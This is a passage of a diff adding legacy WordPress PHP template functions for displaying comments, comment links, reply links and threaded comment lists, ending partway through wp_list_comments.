+		if ( $comment_thread_alt % 2 ) {
+			$classes[] = 'thread-odd';
+			$classes[] = 'thread-alt';
+		} else {
+			$classes[] = 'thread-even';
+		}
+		$comment_thread_alt++;
+	}
+
+	$classes[] = "depth-$comment_depth";
+
+	if ( !empty($class) ) {
+		if ( !is_array( $class ) )
+			$class = preg_split('#\s+#', $class);
+		$classes = array_merge($classes, $class);
+	}
+
+	return apply_filters('comment_class', $classes, $class, $comment_id, $post_id);
+}
+
+/**
+ * Retrieve the comment date of the current comment.
+ *
+ * @since 1.5.0
+ * @uses apply_filters() Calls 'get_comment_date' hook with the formated date and the $d parameter respectively
+ * @uses $comment
+ *
+ * @param string $d The format of the date (defaults to user's config)
+ * @return string The comment's date
+ */
+function get_comment_date( $d = '' ) {
+	global $comment;
+	if ( '' == $d )
+		$date = mysql2date(get_option('date_format'), $comment->comment_date);
+	else
+		$date = mysql2date($d, $comment->comment_date);
+	return apply_filters('get_comment_date', $date, $d);
+}
+
+/**
+ * Display the comment date of the current comment.
+ *
+ * @since 0.71
+ *
+ * @param string $d The format of the date (defaults to user's config)
+ */
+function comment_date( $d = '' ) {
+	echo get_comment_date( $d );
+}
+
+/**
+ * Retrieve the excerpt of the current comment.
+ *
+ * Will cut each word and only output the first 20 words with '...' at the end.
+ * If the word count is less than 20, then no truncating is done and no '...'
+ * will appear.
+ *
+ * @since 1.5.0
+ * @uses $comment
+ * @uses apply_filters() Calls 'get_comment_excerpt' on truncated comment
+ *
+ * @return string The maybe truncated comment with 20 words or less
+ */
+function get_comment_excerpt() {
+	global $comment;
+	$comment_text = strip_tags($comment->comment_content);
+	$blah = explode(' ', $comment_text);
+	if (count($blah) > 20) {
+		$k = 20;
+		$use_dotdotdot = 1;
+	} else {
+		$k = count($blah);
+		$use_dotdotdot = 0;
+	}
+	$excerpt = '';
+	for ($i=0; $i<$k; $i++) {
+		$excerpt .= $blah[$i] . ' ';
+	}
+	$excerpt .= ($use_dotdotdot) ? '...' : '';
+	return apply_filters('get_comment_excerpt', $excerpt);
+}
+
+/**
+ * Display the excerpt of the current comment.
+ *
+ * @since 1.2.0
+ * @uses apply_filters() Calls 'comment_excerpt' hook before displaying excerpt
+ */
+function comment_excerpt() {
+	echo apply_filters('comment_excerpt', get_comment_excerpt() );
+}
+
+/**
+ * Retrieve the comment id of the current comment.
+ *
+ * @since 1.5.0
+ * @uses $comment
+ * @uses apply_filters() Calls the 'get_comment_ID' hook for the comment ID
+ *
+ * @return int The comment ID
+ */
+function get_comment_ID() {
+	global $comment;
+	return apply_filters('get_comment_ID', $comment->comment_ID);
+}
+
+/**
+ * Displays the comment id of the current comment.
+ *
+ * @since 0.71
+ * @see get_comment_ID() Echos Result
+ */
+function comment_ID() {
+	echo get_comment_ID();
+}
+
+/**
+ * Retrieve the link to a given comment.
+ *
+ * @since 1.5.0
+ * @uses $comment
+ *
+ * @param object|string|int $comment Comment to retrieve.
+ * @param array $args Optional args.
+ * @return string The permalink to the given comment.
+ */
+function get_comment_link( $comment = null, $args = array() ) {
+	global $wp_rewrite, $in_comment_loop;
+
+	$comment = get_comment($comment);
+
+	// Backwards compat
+	if ( !is_array($args) ) {
+		$page = $args;
+		$args = array();
+		$args['page'] = $page;
+	}
+
+	$defaults = array( 'type' => 'all', 'page' => '', 'per_page' => '', 'max_depth' => '' );
+	$args = wp_parse_args( $args, $defaults );
+
+	if ( '' === $args['per_page'] && get_option('page_comments') )
+		$args['per_page'] = get_option('comments_per_page');
+
+	if ( empty($args['per_page']) ) {
+		$args['per_page'] = 0;
+		$args['page'] = 0;
+	}
+
+	if ( $args['per_page'] ) {
+		if ( '' == $args['page'] )
+			$args['page'] = ( !empty($in_comment_loop) ) ? get_query_var('cpage') : get_page_of_comment( $comment->comment_ID, $args );
+
+		if ( $wp_rewrite->using_permalinks() )
+			$link = user_trailingslashit( trailingslashit( get_permalink( $comment->comment_post_ID ) ) . 'comment-page-' . $args['page'], 'comment' );
+		else
+			$link = add_query_arg( 'cpage', $args['page'], get_permalink( $comment->comment_post_ID ) );
+	} else {
+		$link = get_permalink( $comment->comment_post_ID );
+	}
+
+	return apply_filters( 'get_comment_link', $link . '#comment-' . $comment->comment_ID, $comment, $args );
+}
+
+/**
+ * Retrieves the link to the current post comments.
+ *
+ * @since 1.5.0
+ *
+ * @return string The link to the comments
+ */
+function get_comments_link() {
+	return get_permalink() . '#comments';
+}
+
+/**
+ * Displays the link to the current post comments.
+ *
+ * @since 0.71
+ *
+ * @param string $deprecated Not Used
+ * @param bool $deprecated Not Used
+ */
+function comments_link( $deprecated = '', $deprecated = '' ) {
+	echo get_comments_link();
+}
+
+/**
+ * Retrieve the amount of comments a post has.
+ *
+ * @since 1.5.0
+ * @uses apply_filters() Calls the 'get_comments_number' hook on the number of comments
+ *
+ * @param int $post_id The Post ID
+ * @return int The number of comments a post has
+ */
+function get_comments_number( $post_id = 0 ) {
+	global $id;
+	$post_id = (int) $post_id;
+
+	if ( !$post_id )
+		$post_id = (int) $id;
+
+	$post = get_post($post_id);
+	if ( ! isset($post->comment_count) )
+		$count = 0;
+	else
+		$count = $post->comment_count;
+
+	return apply_filters('get_comments_number', $count);
+}
+
+/**
+ * Display the language string for the number of comments the current post has.
+ *
+ * @since 0.71
+ * @uses $id
+ * @uses apply_filters() Calls the 'comments_number' hook on the output and number of comments respectively.
+ *
+ * @param string $zero Text for no comments
+ * @param string $one Text for one comment
+ * @param string $more Text for more than one comment
+ * @param string $deprecated Not used.
+ */
+function comments_number( $zero = false, $one = false, $more = false, $deprecated = '' ) {
+	global $id;
+	$number = get_comments_number($id);
+
+	if ( $number > 1 )
+		$output = str_replace('%', number_format_i18n($number), ( false === $more ) ? __('% Comments') : $more);
+	elseif ( $number == 0 )
+		$output = ( false === $zero ) ? __('No Comments') : $zero;
+	else // must be one
+		$output = ( false === $one ) ? __('1 Comment') : $one;
+
+	echo apply_filters('comments_number', $output, $number);
+}
+
+/**
+ * Retrieve the text of the current comment.
+ *
+ * @since 1.5.0
+ * @uses $comment
+ *
+ * @return string The comment content
+ */
+function get_comment_text() {
+	global $comment;
+	return apply_filters('get_comment_text', $comment->comment_content);
+}
+
+/**
+ * Displays the text of the current comment.
+ *
+ * @since 0.71
+ * @uses apply_filters() Passes the comment content through the 'comment_text' hook before display
+ * @uses get_comment_text() Gets the comment content
+ */
+function comment_text() {
+	echo apply_filters('comment_text', get_comment_text() );
+}
+
+/**
+ * Retrieve the comment time of the current comment.
+ *
+ * @since 1.5.0
+ * @uses $comment
+ * @uses apply_filter() Calls 'get_comment_time' hook with the formatted time, the $d parameter, and $gmt parameter passed.
+ *
+ * @param string $d Optional. The format of the time (defaults to user's config)
+ * @param bool $gmt Whether to use the GMT date
+ * @param bool $translate Whether to translate the time (for use in feeds)
+ * @return string The formatted time
+ */
+function get_comment_time( $d = '', $gmt = false, $translate = true ) {
+	global $comment;
+	$comment_date = $gmt? $comment->comment_date_gmt : $comment->comment_date;
+	if ( '' == $d )
+		$date = mysql2date(get_option('time_format'), $comment_date, $translate);
+	else
+		$date = mysql2date($d, $comment_date, $translate);
+	return apply_filters('get_comment_time', $date, $d, $gmt);
+}
+
+/**
+ * Display the comment time of the current comment.
+ *
+ * @since 0.71
+ *
+ * @param string $d Optional. The format of the time (defaults to user's config)
+ */
+function comment_time( $d = '' ) {
+	echo get_comment_time($d);
+}
+
+/**
+ * Retrieve the comment type of the current comment.
+ *
+ * @since 1.5.0
+ * @uses $comment
+ * @uses apply_filters() Calls the 'get_comment_type' hook on the comment type
+ *
+ * @return string The comment type
+ */
+function get_comment_type() {
+	global $comment;
+
+	if ( '' == $comment->comment_type )
+		$comment->comment_type = 'comment';
+
+	return apply_filters('get_comment_type', $comment->comment_type);
+}
+
+/**
+ * Display the comment type of the current comment.
+ *
+ * @since 0.71
+ *
+ * @param string $commenttxt The string to display for comment type
+ * @param string $trackbacktxt The string to display for trackback type
+ * @param string $pingbacktxt The string to display for pingback type
+ */
+function comment_type($commenttxt = false, $trackbacktxt = false, $pingbacktxt = false) {
+    if ( false === $commenttxt ) $commenttxt = _x( 'Comment', 'noun' );
+    if ( false === $trackbacktxt ) $trackbacktxt = __( 'Trackback' );
+    if ( false === $pingbacktxt ) $pingbacktxt = __( 'Pingback' );
+	$type = get_comment_type();
+	switch( $type ) {
+		case 'trackback' :
+			echo $trackbacktxt;
+			break;
+		case 'pingback' :
+			echo $pingbacktxt;
+			break;
+		default :
+			echo $commenttxt;
+	}
+}
+
+/**
+ * Retrieve The current post's trackback URL.
+ *
+ * There is a check to see if permalink's have been enabled and if so, will
+ * retrieve the pretty path. If permalinks weren't enabled, the ID of the
+ * current post is used and appended to the correct page to go to.
+ *
+ * @since 1.5.0
+ * @uses apply_filters() Calls 'trackback_url' on the resulting trackback URL
+ * @uses $id
+ *
+ * @return string The trackback URL after being filtered
+ */
+function get_trackback_url() {
+	global $id;
+	if ( '' != get_option('permalink_structure') ) {
+		$tb_url = trailingslashit(get_permalink()) . user_trailingslashit('trackback', 'single_trackback');
+	} else {
+		$tb_url = get_option('siteurl') . '/wp-trackback.php?p=' . $id;
+	}
+	return apply_filters('trackback_url', $tb_url);
+}
+
+/**
+ * Displays the current post's trackback URL.
+ *
+ * @since 0.71
+ * @uses get_trackback_url() Gets the trackback url for the current post
+ *
+ * @param bool $deprecated Remove backwards compat in 2.5
+ * @return void|string Should only be used to echo the trackback URL, use get_trackback_url() for the result instead.
+ */
+function trackback_url($deprecated = true) {
+	if ($deprecated) echo get_trackback_url();
+	else return get_trackback_url();
+}
+
+/**
+ * Generates and displays the RDF for the trackback information of current post.
+ *
+ * @since 0.71
+ *
+ * @param int $deprecated Not used (Was $timezone = 0)
+ */
+function trackback_rdf($deprecated = '') {
+	if (stripos($_SERVER['HTTP_USER_AGENT'], 'W3C_Validator') === false) {
+		echo '<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+				xmlns:dc="http://purl.org/dc/elements/1.1/"
+				xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/">
+			<rdf:Description rdf:about="';
+		the_permalink();
+		echo '"'."\n";
+		echo '    dc:identifier="';
+		the_permalink();
+		echo '"'."\n";
+		echo '    dc:title="'.str_replace('--', '&#x2d;&#x2d;', wptexturize(strip_tags(get_the_title()))).'"'."\n";
+		echo '    trackback:ping="'.get_trackback_url().'"'." />\n";
+		echo '</rdf:RDF>';
+	}
+}
+
+/**
+ * Whether the current post is open for comments.
+ *
+ * @since 1.5.0
+ * @uses $post
+ *
+ * @param int $post_id An optional post ID to check instead of the current post.
+ * @return bool True if the comments are open
+ */
+function comments_open( $post_id=NULL ) {
+
+	$_post = get_post($post_id);
+
+	$open = ( 'open' == $_post->comment_status );
+	return apply_filters( 'comments_open', $open, $post_id );
+}
+
+/**
+ * Whether the current post is open for pings.
+ *
+ * @since 1.5.0
+ * @uses $post
+ *
+ * @param int $post_id An optional post ID to check instead of the current post.
+ * @return bool True if pings are accepted
+ */
+function pings_open( $post_id = NULL ) {
+
+	$_post = get_post($post_id);
+
+	$open = ( 'open' == $_post->ping_status );
+	return apply_filters( 'pings_open', $open, $post_id );
+}
+
+/**
+ * Displays form token for unfiltered comments.
+ *
+ * Will only display nonce token if the current user has permissions for
+ * unfiltered html. Won't display the token for other users.
+ *
+ * The function was backported to 2.0.10 and was added to versions 2.1.3 and
+ * above. Does not exist in versions prior to 2.0.10 in the 2.0 branch and in
+ * the 2.1 branch, prior to 2.1.3. Technically added in 2.2.0.
+ *
+ * Backported to 2.0.10.
+ *
+ * @since 2.1.3
+ * @uses $post Gets the ID of the current post for the token
+ */
+function wp_comment_form_unfiltered_html_nonce() {
+	global $post;
+
+	$post_id = 0;
+	if ( !empty($post) )
+		$post_id = $post->ID;
+
+	if ( current_user_can('unfiltered_html') )
+		wp_nonce_field('unfiltered-html-comment_' . $post_id, '_wp_unfiltered_html_comment', false);
+}
+
+/**
+ * Loads the comment template specified in $file.
+ *
+ * Will not display the comments template if not on single post or page, or if
+ * the post does not have comments.
+ *
+ * Uses the WordPress database object to query for the comments. The comments
+ * are passed through the 'comments_array' filter hook with the list of comments
+ * and the post ID respectively.
+ *
+ * The $file path is passed through a filter hook called, 'comments_template'
+ * which includes the TEMPLATEPATH and $file combined. Tries the $filtered path
+ * first and if it fails it will require the default comment themplate from the
+ * default theme. If either does not exist, then the WordPress process will be
+ * halted. It is advised for that reason, that the default theme is not deleted.
+ *
+ * @since 1.5.0
+ * @global array $comment List of comment objects for the current post
+ * @uses $wpdb
+ * @uses $id
+ * @uses $post
+ * @uses $withcomments Will not try to get the comments if the post has none.
+ *
+ * @param string $file Optional, default '/comments.php'. The file to load
+ * @param bool $separate_comments Optional, whether to separate the comments by comment type. Default is false.
+ * @return null Returns null if no comments appear
+ */
+function comments_template( $file = '/comments.php', $separate_comments = false ) {
+	global $wp_query, $withcomments, $post, $wpdb, $id, $comment, $user_login, $user_ID, $user_identity, $overridden_cpage;
+
+	if ( ! (is_single() || is_page() || $withcomments) )
+		return;
+
+	if ( empty($file) )
+		$file = '/comments.php';
+
+	$req = get_option('require_name_email');
+	$commenter = wp_get_current_commenter();
+	extract($commenter, EXTR_SKIP);
+
+	/** @todo Use API instead of SELECTs. */
+	if ( $user_ID) {
+		$comments = $wpdb->get_results($wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND (comment_approved = '1' OR ( user_id = %d AND comment_approved = '0' ) )  ORDER BY comment_date_gmt", $post->ID, $user_ID));
+	} else if ( empty($comment_author) ) {
+		$comments = get_comments( array('post_id' => $post->ID, 'status' => 'approve', 'order' => 'ASC') );
+	} else {
+		$comments = $wpdb->get_results($wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND ( comment_approved = '1' OR ( comment_author = %s AND comment_author_email = %s AND comment_approved = '0' ) ) ORDER BY comment_date_gmt", $post->ID, wp_specialchars_decode($comment_author,ENT_QUOTES), $comment_author_email));
+	}
+
+	// keep $comments for legacy's sake
+	$wp_query->comments = apply_filters( 'comments_array', $comments, $post->ID );
+	$comments = &$wp_query->comments;
+	$wp_query->comment_count = count($wp_query->comments);
+	update_comment_cache($wp_query->comments);
+
+	if ( $separate_comments ) {
+		$wp_query->comments_by_type = &separate_comments($comments);
+		$comments_by_type = &$wp_query->comments_by_type;
+	}
+
+	$overridden_cpage = FALSE;
+	if ( '' == get_query_var('cpage') && get_option('page_comments') ) {
+		set_query_var( 'cpage', 'newest' == get_option('default_comments_page') ? get_comment_pages_count() : 1 );
+		$overridden_cpage = TRUE;
+	}
+
+	if ( !defined('COMMENTS_TEMPLATE') || !COMMENTS_TEMPLATE)
+		define('COMMENTS_TEMPLATE', true);
+
+	$include = apply_filters('comments_template', STYLESHEETPATH . $file );
+	if ( file_exists( $include ) )
+		require( $include );
+	elseif ( file_exists( TEMPLATEPATH . $file ) )
+		require( TEMPLATEPATH .  $file );
+	else
+		require( get_theme_root() . '/default/comments.php');
+}
+
+/**
+ * Displays the JS popup script to show a comment.
+ *
+ * If the $file parameter is empty, then the home page is assumed. The defaults
+ * for the window are 400px by 400px.
+ *
+ * For the comment link popup to work, this function has to be called or the
+ * normal comment link will be assumed.
+ *
+ * @since 0.71
+ * @global string $wpcommentspopupfile The URL to use for the popup window
+ * @global int $wpcommentsjavascript Whether to use JavaScript or not. Set when function is called
+ *
+ * @param int $width Optional. The width of the popup window
+ * @param int $height Optional. The height of the popup window
+ * @param string $file Optional. Sets the location of the popup window
+ */
+function comments_popup_script($width=400, $height=400, $file='') {
+	global $wpcommentspopupfile, $wpcommentsjavascript;
+
+	if (empty ($file)) {
+		$wpcommentspopupfile = '';  // Use the index.
+	} else {
+		$wpcommentspopupfile = $file;
+	}
+
+	$wpcommentsjavascript = 1;
+	$javascript = "<script type='text/javascript'>\nfunction wpopen (macagna) {\n    window.open(macagna, '_blank', 'width=$width,height=$height,scrollbars=yes,status=yes');\n}\n</script>\n";
+	echo $javascript;
+}
+
+/**
+ * Displays the link to the comments popup window for the current post ID.
+ *
+ * Is not meant to be displayed on single posts and pages. Should be used on the
+ * lists of posts
+ *
+ * @since 0.71
+ * @uses $id
+ * @uses $wpcommentspopupfile
+ * @uses $wpcommentsjavascript
+ * @uses $post
+ *
+ * @param string $zero The string to display when no comments
+ * @param string $one The string to display when only one comment is available
+ * @param string $more The string to display when there are more than one comment
+ * @param string $css_class The CSS class to use for comments
+ * @param string $none The string to display when comments have been turned off
+ * @return null Returns null on single posts and pages.
+ */
+function comments_popup_link( $zero = false, $one = false, $more = false, $css_class = '', $none = false ) {
+	global $id, $wpcommentspopupfile, $wpcommentsjavascript, $post;
+
+    if ( false === $zero ) $zero = __( 'No Comments' );
+    if ( false === $one ) $one = __( '1 Comment' );
+    if ( false === $more ) $more = __( '% Comments' );
+    if ( false === $none ) $none = __( 'Comments Off' );
+
+	$number = get_comments_number( $id );
+
+	if ( 0 == $number && !comments_open() && !pings_open() ) {
+		echo '<span' . ((!empty($css_class)) ? ' class="' . $css_class . '"' : '') . '>' . $none . '</span>';
+		return;
+	}
+
+	if ( post_password_required() ) {
+		echo __('Enter your password to view comments');
+		return;
+	}
+
+	echo '<a href="';
+	if ( $wpcommentsjavascript ) {
+		if ( empty( $wpcommentspopupfile ) )
+			$home = get_option('home');
+		else
+			$home = get_option('siteurl');
+		echo $home . '/' . $wpcommentspopupfile . '?comments_popup=' . $id;
+		echo '" onclick="wpopen(this.href); return false"';
+	} else { // if comments_popup_script() is not in the template, display simple comment link
+		if ( 0 == $number )
+			echo get_permalink() . '#respond';
+		else
+			comments_link();
+		echo '"';
+	}
+
+	if ( !empty( $css_class ) ) {
+		echo ' class="'.$css_class.'" ';
+	}
+	$title = esc_attr( get_the_title() );
+
+	echo apply_filters( 'comments_popup_link_attributes', '' );
+
+	echo ' title="' . sprintf( __('Comment on %s'), $title ) . '">';
+	comments_number( $zero, $one, $more, $number );
+	echo '</a>';
+}
+
+/**
+ * Retrieve HTML content for reply to comment link.
+ *
+ * The default arguments that can be override are 'add_below', 'respond_id',
+ * 'reply_text', 'login_text', and 'depth'. The 'login_text' argument will be
+ * used, if the user must log in or register first before posting a comment. The
+ * 'reply_text' will be used, if they can post a reply. The 'add_below' and
+ * 'respond_id' arguments are for the JavaScript moveAddCommentForm() function
+ * parameters.
+ *
+ * @since 2.7.0
+ *
+ * @param array $args Optional. Override default options.
+ * @param int $comment Optional. Comment being replied to.
+ * @param int $post Optional. Post that the comment is going to be displayed on.
+ * @return string|bool|null Link to show comment form, if successful. False, if comments are closed.
+ */
+function get_comment_reply_link($args = array(), $comment = null, $post = null) {
+	global $user_ID;
+
+	$defaults = array('add_below' => 'comment', 'respond_id' => 'respond', 'reply_text' => __('Reply'),
+		'login_text' => __('Log in to Reply'), 'depth' => 0, 'before' => '', 'after' => '');
+
+	$args = wp_parse_args($args, $defaults);
+
+	if ( 0 == $args['depth'] || $args['max_depth'] <= $args['depth'] )
+		return;
+
+	extract($args, EXTR_SKIP);
+
+	$comment = get_comment($comment);
+	$post = get_post($post);
+
+	if ( !comments_open($post->ID) )
+		return false;
+
+	$link = '';
+
+	if ( get_option('comment_registration') && !$user_ID )
+		$link = '<a rel="nofollow" class="comment-reply-login" href="' . esc_url( wp_login_url( get_permalink() ) ) . '">' . $login_text . '</a>';
+	else
+		$link = "<a rel='nofollow' class='comment-reply-link' href='" . esc_url( add_query_arg( 'replytocom', $comment->comment_ID ) ) . "#" . $respond_id . "' onclick='return addComment.moveForm(\"$add_below-$comment->comment_ID\", \"$comment->comment_ID\", \"$respond_id\", \"$post->ID\")'>$reply_text</a>";
+	return apply_filters('comment_reply_link', $before . $link . $after, $args, $comment, $post);
+}
+
+/**
+ * Displays the HTML content for reply to comment link.
+ *
+ * @since 2.7.0
+ * @see get_comment_reply_link() Echoes result
+ *
+ * @param array $args Optional. Override default options.
+ * @param int $comment Optional. Comment being replied to.
+ * @param int $post Optional. Post that the comment is going to be displayed on.
+ * @return string|bool|null Link to show comment form, if successful. False, if comments are closed.
+ */
+function comment_reply_link($args = array(), $comment = null, $post = null) {
+	echo get_comment_reply_link($args, $comment, $post);
+}
+
+/**
+ * Retrieve HTML content for reply to post link.
+ *
+ * The default arguments that can be override are 'add_below', 'respond_id',
+ * 'reply_text', 'login_text', and 'depth'. The 'login_text' argument will be
+ * used, if the user must log in or register first before posting a comment. The
+ * 'reply_text' will be used, if they can post a reply. The 'add_below' and
+ * 'respond_id' arguments are for the JavaScript moveAddCommentForm() function
+ * parameters.
+ *
+ * @since 2.7.0
+ *
+ * @param array $args Optional. Override default options.
+ * @param int|object $post Optional. Post that the comment is going to be displayed on.  Defaults to current post.
+ * @return string|bool|null Link to show comment form, if successful. False, if comments are closed.
+ */
+function get_post_reply_link($args = array(), $post = null) {
+	global $user_ID;
+
+	$defaults = array('add_below' => 'post', 'respond_id' => 'respond', 'reply_text' => __('Leave a Comment'),
+		'login_text' => __('Log in to leave a Comment'), 'before' => '', 'after' => '');
+
+	$args = wp_parse_args($args, $defaults);
+	extract($args, EXTR_SKIP);
+	$post = get_post($post);
+
+	if ( !comments_open($post->ID) )
+		return false;
+
+	if ( get_option('comment_registration') && !$user_ID ) {
+		$link = '<a rel="nofollow" href="' . wp_login_url( get_permalink() ) . '">' . $login_text . '</a>';
+	} else {
+		$link = "<a rel='nofollow' class='comment-reply-link' href='" . get_permalink($post->ID) . "#$respond_id' onclick='return addComment.moveForm(\"$add_below-$post->ID\", \"0\", \"$respond_id\", \"$post->ID\")'>$reply_text</a>";
+	}
+	return apply_filters('post_comments_link', $before . $link . $after, $post);
+}
+
+/**
+ * Displays the HTML content for reply to post link.
+ * @since 2.7.0
+ * @see get_post_reply_link()
+ *
+ * @param array $args Optional. Override default options.
+ * @param int|object $post Optional. Post that the comment is going to be displayed on.
+ * @return string|bool|null Link to show comment form, if successful. False, if comments are closed.
+ */
+function post_reply_link($args = array(), $post = null) {
+	echo get_post_reply_link($args, $post);
+}
+
+/**
+ * Retrieve HTML content for cancel comment reply link.
+ *
+ * @since 2.7.0
+ *
+ * @param string $text Optional. Text to display for cancel reply link.
+ */
+function get_cancel_comment_reply_link($text = '') {
+	if ( empty($text) )
+		$text = __('Click here to cancel reply.');
+
+	$style = isset($_GET['replytocom']) ? '' : ' style="display:none;"';
+	$link = esc_html( remove_query_arg('replytocom') ) . '#respond';
+	return apply_filters('cancel_comment_reply_link', '<a rel="nofollow" id="cancel-comment-reply-link" href="' . $link . '"' . $style . '>' . $text . '</a>', $link, $text);
+}
+
+/**
+ * Display HTML content for cancel comment reply link.
+ *
+ * @since 2.7.0
+ *
+ * @param string $text Optional. Text to display for cancel reply link.
+ */
+function cancel_comment_reply_link($text = '') {
+	echo get_cancel_comment_reply_link($text);
+}
+
+/**
+ * Output hidden input HTML for replying to comments.
+ *
+ * @since 2.7.0
+ */
+function comment_id_fields() {
+	global $id;
+
+	$replytoid = isset($_GET['replytocom']) ? (int) $_GET['replytocom'] : 0;
+	echo "<input type='hidden' name='comment_post_ID' value='$id' id='comment_post_ID' />\n";
+	echo "<input type='hidden' name='comment_parent' id='comment_parent' value='$replytoid' />\n";
+}
+
+/**
+ * Display text based on comment reply status. Only affects users with Javascript disabled.
+ *
+ * @since 2.7.0
+ *
+ * @param string $noreplytext Optional. Text to display when not replying to a comment.
+ * @param string $replytext Optional. Text to display when replying to a comment. Accepts "%s" for the author of the comment being replied to.
+ * @param string $linktoparent Optional. Boolean to control making the author's name a link to their comment.
+ */
+function comment_form_title( $noreplytext = false, $replytext = false, $linktoparent = TRUE ) {
+	global $comment;
+
+	if ( false === $noreplytext ) $noreplytext = __( 'Leave a Reply' );
+	if ( false === $replytext ) $replytext = __( 'Leave a Reply to %s' );
+
+	$replytoid = isset($_GET['replytocom']) ? (int) $_GET['replytocom'] : 0;
+
+	if ( 0 == $replytoid )
+		echo $noreplytext;
+	else {
+		$comment = get_comment($replytoid);
+		$author = ( $linktoparent ) ? '<a href="#comment-' . get_comment_ID() . '">' . get_comment_author() . '</a>' : get_comment_author();
+		printf( $replytext, $author );
+	}
+}
+
+/**
+ * HTML comment list class.
+ *
+ * @package WordPress
+ * @uses Walker
+ * @since unknown
+ */
+class Walker_Comment extends Walker {
+	/**
+	 * @see Walker::$tree_type
+	 * @since unknown
+	 * @var string
+	 */
+	var $tree_type = 'comment';
+
+	/**
+	 * @see Walker::$db_fields
+	 * @since unknown
+	 * @var array
+	 */
+	var $db_fields = array ('parent' => 'comment_parent', 'id' => 'comment_ID');
+
+	/**
+	 * @see Walker::start_lvl()
+	 * @since unknown
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param int $depth Depth of comment.
+	 * @param array $args Uses 'style' argument for type of HTML list.
+	 */
+	function start_lvl(&$output, $depth, $args) {
+		$GLOBALS['comment_depth'] = $depth + 1;
+
+		switch ( $args['style'] ) {
+			case 'div':
+				break;
+			case 'ol':
+				echo "<ol class='children'>\n";
+				break;
+			default:
+			case 'ul':
+				echo "<ul class='children'>\n";
+				break;
+		}
+	}
+
+	/**
+	 * @see Walker::end_lvl()
+	 * @since unknown
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param int $depth Depth of comment.
+	 * @param array $args Will only append content if style argument value is 'ol' or 'ul'.
+	 */
+	function end_lvl(&$output, $depth, $args) {
+		$GLOBALS['comment_depth'] = $depth + 1;
+
+		switch ( $args['style'] ) {
+			case 'div':
+				break;
+			case 'ol':
+				echo "</ol>\n";
+				break;
+			default:
+			case 'ul':
+				echo "</ul>\n";
+				break;
+		}
+	}
+
+	/**
+	 * @see Walker::start_el()
+	 * @since unknown
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param object $comment Comment data object.
+	 * @param int $depth Depth of comment in reference to parents.
+	 * @param array $args
+	 */
+	function start_el(&$output, $comment, $depth, $args) {
+		$depth++;
+		$GLOBALS['comment_depth'] = $depth;
+
+		if ( !empty($args['callback']) ) {
+			call_user_func($args['callback'], $comment, $args, $depth);
+			return;
+		}
+
+		$GLOBALS['comment'] = $comment;
+		extract($args, EXTR_SKIP);
+
+		if ( 'div' == $args['style'] ) {
+			$tag = 'div';
+			$add_below = 'comment';
+		} else {
+			$tag = 'li';
+			$add_below = 'div-comment';
+		}
+?>
+		<<?php echo $tag ?> <?php comment_class(empty( $args['has_children'] ) ? '' : 'parent') ?> id="comment-<?php comment_ID() ?>">
+		<?php if ( 'ul' == $args['style'] ) : ?>
+		<div id="div-comment-<?php comment_ID() ?>" class="comment-body">
+		<?php endif; ?>
+		<div class="comment-author vcard">
+		<?php if ($args['avatar_size'] != 0) echo get_avatar( $comment, $args['avatar_size'] ); ?>
+		<?php printf(__('<cite class="fn">%s</cite> <span class="says">says:</span>'), get_comment_author_link()) ?>
+		</div>
+<?php if ($comment->comment_approved == '0') : ?>
+		<em><?php _e('Your comment is awaiting moderation.') ?></em>
+		<br />
+<?php endif; ?>
+
+		<div class="comment-meta commentmetadata"><a href="<?php echo htmlspecialchars( get_comment_link( $comment->comment_ID ) ) ?>"><?php printf(__('%1$s at %2$s'), get_comment_date(),  get_comment_time()) ?></a><?php edit_comment_link(__('(Edit)'),'&nbsp;&nbsp;','') ?></div>
+
+		<?php comment_text() ?>
+
+		<div class="reply">
+		<?php comment_reply_link(array_merge( $args, array('add_below' => $add_below, 'depth' => $depth, 'max_depth' => $args['max_depth']))) ?>
+		</div>
+		<?php if ( 'ul' == $args['style'] ) : ?>
+		</div>
+		<?php endif; ?>
+<?php
+	}
+
+	/**
+	 * @see Walker::end_el()
+	 * @since unknown
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param object $comment
+	 * @param int $depth Depth of comment.
+	 * @param array $args
+	 */
+	function end_el(&$output, $comment, $depth, $args) {
+		if ( !empty($args['end-callback']) ) {
+			call_user_func($args['end-callback'], $comment, $args, $depth);
+			return;
+		}
+		if ( 'div' == $args['style'] )
+			echo "</div>\n";
+		else
+			echo "</li>\n";
+	}
+
+}
+
+/**
+ * List comments
+ *
+ * Used in the comments.php template to list comments for a particular post
+ *
+ * @since 2.7.0
+ * @uses Walker_Comment
+ *
+ * @param string|array $args Formatting options
+ * @param array $comments Optional array of comment objects.  Defaults to $wp_query->comments
+ */
+function wp_list_comments($args = array(), $comments = null ) {
+	global $wp_query, $comment_alt, $comment_depth, $comment_thread_alt, $overridden_cpage, $in_comment_loop;
+
+	$in_comment_loop = true;
+
+	$comment_alt = $comment_thread_alt = 0;
+	$comment_depth = 1;
+
+	$defaults = array('walker' => null, 'max_depth' => '', 'style' => 'ul', 'callback' => null, 'end-callback' => null, 'type' => 'all',
+		'page' => '', 'per_page' => '', 'avatar_size' => 32, 'reverse_top_level' => null, 'reverse_children' => '');
+
+	$r = wp_parse_args( $args, $defaults );
+
+	// Figure out what comments we'll be looping through ($_comments)
+	if ( null !== $comments ) {
+		$comments = (array) $comments;
+		if ( empty($comments) )
+			return;
+		if ( 'all' != $r['type'] ) {
+			$comments_by_type = &separate_comments($comments);
+			if ( empty($comments_by_type[$r['type']]) )
+				return;
+			$_comments = $comments_by_type[$r['type']];
+		} else {
+			$_comments = $comments;
+		}
+	} else {
+		if ( empty($wp_query->comments) )
+			return;
+		if ( 'all' != $r['type'] ) {
+			if ( empty($wp_query->comments_by_type) )
+				$wp_query->comments_by_type = &separate_comments($wp_query->comments);
+			if ( empty($wp_query->comments_by_type[$r['type']]) )
+				return;
+			$_comments = $wp_query->comments_by_type[$r['type']];
+		} else {
+			$_comments = $wp_query->comments;
+		}
+	}
+
+	if ( '' === $r['per_page'] && get_option('page_comments') )
+		$r['per_page'] = get_query_var('comments_per_page');
+
+	if ( empty($r['per_page']) ) {
